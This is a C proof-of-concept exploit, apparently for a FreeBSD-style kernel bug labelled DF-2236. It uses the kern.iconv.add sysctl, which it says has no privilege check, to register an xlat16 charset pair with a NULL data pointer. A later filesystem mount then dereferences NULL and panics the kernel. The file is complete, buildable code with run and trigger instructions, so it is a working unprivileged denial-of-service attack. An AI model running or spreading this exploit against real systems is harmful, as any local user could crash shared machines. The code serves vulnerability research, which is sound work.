DF-2236 / df2236_register.c
/* * DF-2236 PoC: register a malicious xlat16 charset pair with cp_data=NULL * (ia_datalen=0) via kern.iconv.add sysctl -- which has NO privilege check. * * When iconv_xlat16_open() later processes this pair (triggered by mounting * a filesystem with -C <charset>), it dereferences cp_data (NULL): * * idxp = (uint32_t **)csp->cp_data; // NULL (iconv_xlat16.c:69) * ... * if (*idxp) { // dereferences NULL -> panic * * Build (guest): cc -o df2236_register df2236_register.c * Run (guest): ./df2236_register # any user, no privcheck */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/iconv.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> int main(int argc, char **argv) { struct iconv_add_in din; struct iconv_add_out dout; size_t outlen; int error; const char *to = (argc > 1) ? argv[1] : "CP437"; const char *from = (argc > 2) ? argv[2] : "ISO8859-1"; memset(&din, 0, sizeof(din)); memset(&dout, 0, sizeof(dout)); din.ia_version = ICONV_ADD_VER; strlcpy(din.ia_converter, "xlat16", sizeof(din.ia_converter)); strlcpy(din.ia_to, to, sizeof(din.ia_to)); strlcpy(din.ia_from, from, sizeof(din.ia_from)); din.ia_datalen = 0; /* cp_data stays NULL -> NULL deref in iconv_xlat16_open */ din.ia_data = NULL; outlen = sizeof(dout); error = sysctlbyname("kern.iconv.add", &dout, &outlen, &din, sizeof(din)); if (error) { fprintf(stderr, "sysctl kern.iconv.add failed: %s\n", strerror(errno)); fprintf(stderr, "(is libiconv.ko loaded? kldload libiconv)\n"); return 1; } printf("[+] Registered malicious xlat16 pair '%s'->'%s' with cp_data=NULL (csid=%d)\n", to, from, dout.ia_csid); printf("[+] Trigger: mount a filesystem with -C %s -> iconv_xlat16_open -> NULL deref panic\n", to); return 0; } |